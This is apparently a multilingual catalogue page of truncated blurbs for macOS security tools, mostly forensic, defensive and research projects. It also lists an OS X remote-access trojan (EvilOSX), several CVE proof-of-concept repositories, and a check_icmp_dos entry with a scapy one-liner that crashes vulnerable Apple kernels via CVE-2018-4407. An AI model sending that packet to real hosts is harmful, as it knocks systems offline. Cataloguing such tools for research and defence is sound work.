ma2tl

ma2tl macapt からタイムラインへ これは、macapt の分析結果データベースから macOS フォレンジックタイムラインを生成する DFIR ツールです。 必要条件 Python 3.7.0 以降 pytz tzlocal xlsxwriter インストール root@kitploit: % git clone https://github.com/mnrkbys/ma2tl.git 使用方法 root@kitploit: % python ./ma2tl.py -h usage: ma2tl.py -h -i INPUT -o OUTPUT -ot OUTPUTTYPE ...

ma2tl

ma2tl macapt to timeline This is a DFIR tool for generating a macOS forensic timeline from the analysis result DBs of macapt. Requirements Python 3.7.0 or later pytz tzlocal xlsxwriter Installation root@kitploit: % git clone https://github.com/mnrkbys/ma2tl.git Usage root@kitploit: % python...

CVE-2022-26711

CVE-2022-26711: Desbordamiento de enteros en Apple ImageIO WebP Una vulnerabilidad de desbordamiento de enteros en el framework ImageIO de Apple al analizar imágenes WebP, que provoca un acceso a memoria fuera de los límites. Análisis completo - Análisis detallado de la causa raíz con recorrido...

EvilOSX

EvilOSX Una herramienta pura de Python para post-explotación y administración remota RAT para macOS / OS X. Características Emula una instancia simple de terminal. Los sockets están cifrados con CSR mediante OpenSSL. Sin dependencias Python puro. Persistencia. Instalador automático: simplemente...

CVE-2021-40531

CVE-2021-40531 Esta prueba de concepto en acción. Sketch es una popular aplicación de diseño UI/UX para macOS. Esta publicación cubre una vulnerabilidad en Sketch que descubrí en julio, CVE-2021-40531. En su forma más simple, es un bypass de cuarentena de macOS, pero en contexto puede usarse para...

CVE-2018-4407-IOS

CVE-2018-4407-IOS CVE ? Common Vulnerabilities and Exposures TLDR La vulnerabilidad es un desbordamiento de búfer en el montón en el código de red del núcleo del sistema operativo XNU. XNU se usa tanto en iOS como en macOS, por lo que los iPhone, iPad y MacBook están afectados. Mi PoC de exploit...

ngrev

ngrev Herramienta gráfica para la ingeniería inversa de proyectos Angular. Permite navegar en la estructura de tu aplicación y observar la relación entre los diferentes módulos, proveedores y directivas. La herramienta realiza análisis estático de código , lo que significa que no necesitas ejecut...

ios-mac-app

适用于 iOS 和 macOS 的 Proton VPN 版权所有 c 2025 Proton Technologies AG 依赖项 本项目使用 Swift Package Manager 管理所有依赖。在运行任何目标之前，请允许 Xcode 解析包。 第三方依赖 ACKNOWLEDGEMENTS.md 设置 在您的机器上启用 Git LFS 克隆此仓库 确保您克隆子模块（git submodule init + git submodule update） 使用 brew bundle 安装 Homebrew 依赖 目前您需要使用 Xcode 14.x 使用付费的 Apple...

wifi-password

wifi-password Obtén rápidamente tu contraseña WiFi y, si es necesario, genera un código QR de tu WiFi para que los teléfonos puedan conectarse fácilmente. Funciona en macOS , Linux y Windows Instalación Instalar usando pip root@kitploit: $ python3 -m pip install --user wifi-password Instalar usan...

wifi-password

wifi-password Quickly fetch your WiFi password and if needed, generate a QR code of your WiFi to allow phones to easily connect. Works on macOS and Linux , Windows Installation Install using pip root@kitploit: $ python3 -m pip install --user wifi-password Install using git root@kitploit: $ git...

MacHound

¿Qué es MacHound? MacHound es una extensión de la herramienta de auditoría Bloodhound que permite recopilar e ingerir relaciones de Active Directory en hosts MacOS. MacHound recopila información sobre usuarios conectados y miembros de grupos administrativos en máquinas Mac e ingiere la informació...

osquery-defense-kit

osquery-defense-kit Consultas de osquery para Detección y Respuesta a Incidentes, con más de 250 consultas listas para producción. ODK osquery-defense-kit es único en que las consultas están diseñadas para ser utilizadas como parte de un pipeline de detección y respuesta en producción. Las...

check_icmp_dos

checkicmpdos iOS 12 / OS X Desbordamiento de montón del kernel remoto CVE-2018-4407 POC: root@kitploit: pip install scapy sudo scapy sendIPdst=“Target IP“,options=IPOption“A”8/TCPdport=2323,options=19, “1"18,19, “2”18 O usar el script root@kitploit: python checkicmpdos.py 127.0.0.1 Esta...

norimaci

Norimaci 「Norimaci」は、macOS向けのシンプルで軽量なマルウェア解析サンドボックスです。このツールは「Noriben」に触発されて作成されました。Norimaciは、Sysinternals Process Monitor procmon の代わりに、OpenBSMまたはMonitor.appの機能を使用してmacOSのシステムアクティビティを監視します。 Norimaciは3つのPythonスクリプトで構成されています。 norimaci.py : メインスクリプト openbsmconv.py : OpenBSM監査ログ変換ツール monitorappconv.p...

CVE-2022-42864

CVE-2022-42864: Cookies Diabólicas ¿Qué es este repositorio? Esta es mi prueba de concepto incompleta del exploit para CVE-2022-42864, una vulnerabilidad de tiempo-de-verificación a tiempo-de-uso en IOHIDFamily que fue corregida en iOS 16.2 / macOS Ventura 13.1. ¿Cuál es el estado de la prueba de...

macOS-Security-and-Privacy-Guide

This guide is a collection of techniques for improving the security and privacy of macOS on Apple silicon Macs. It targets experienced users who want security practices commonly used by organizations, but is also suitable for novice users with an interest in privacy and security. For...

dig

dig macOS 上的本地 dig 包装器。真正发查询的还是系统自带的 /usr/bin/dig。这个项目只在你自己的终端输出后面追加一条本地 TXT，方便本地测试。 它不改 DNS，不写 zone file（区域文件），也不碰任何云厂商。 行为 给某个域名钉死一条 TXT，之后每次查都返回 root@kitploit: dig +txt= TXT dig +txt= +ttl=600 TXT name：域名，比如 app.local value：这条 TXT 的内容，写在 +txt= 后面。有空格就加引号 +ttl=：展示用的 TTL，默认 600 root@kitploit: di...

jit

jitpass - just-in-time passwords Just-in-time credentials for your dev machine. Documentation · Quickstart · Supported tools · Command reference · Security Status: macOS-only Apple Silicon, and still in development. What jit is 30 seconds Your secrets live in plaintext all over your machine: .env...

CVE-2026-64747

CVE-2026-64747 — AppleAVE2 kernel driver: wire format + reachability PoC Root-cause analysis and macOS reachability proof-of-concept for CVE-2026-64747, a buffer overflow in the AppleAVE2 video encoder kernel extension com.apple.driver.AppleAVE2 fixed in macOS 26.6 kext 905.40.1. AppleAVE2 —...

dwarf2json

简介 dwarf2json 是一个 Go 工具，用于处理包含符号和类型信息的文件，以生成适用于 Linux 和 macOS 分析的 Volatility3 中间符号文件 ISF JSON 输出。 构建（需 Go 1.18 或更高版本）： root@kitploit: $ go build 运行： root@kitploit: $ ./dwarf2json --help Usage: ./dwarf2json COMMAND A tool for generating intermediate symbol file ISF Commands: linux generate ISF for...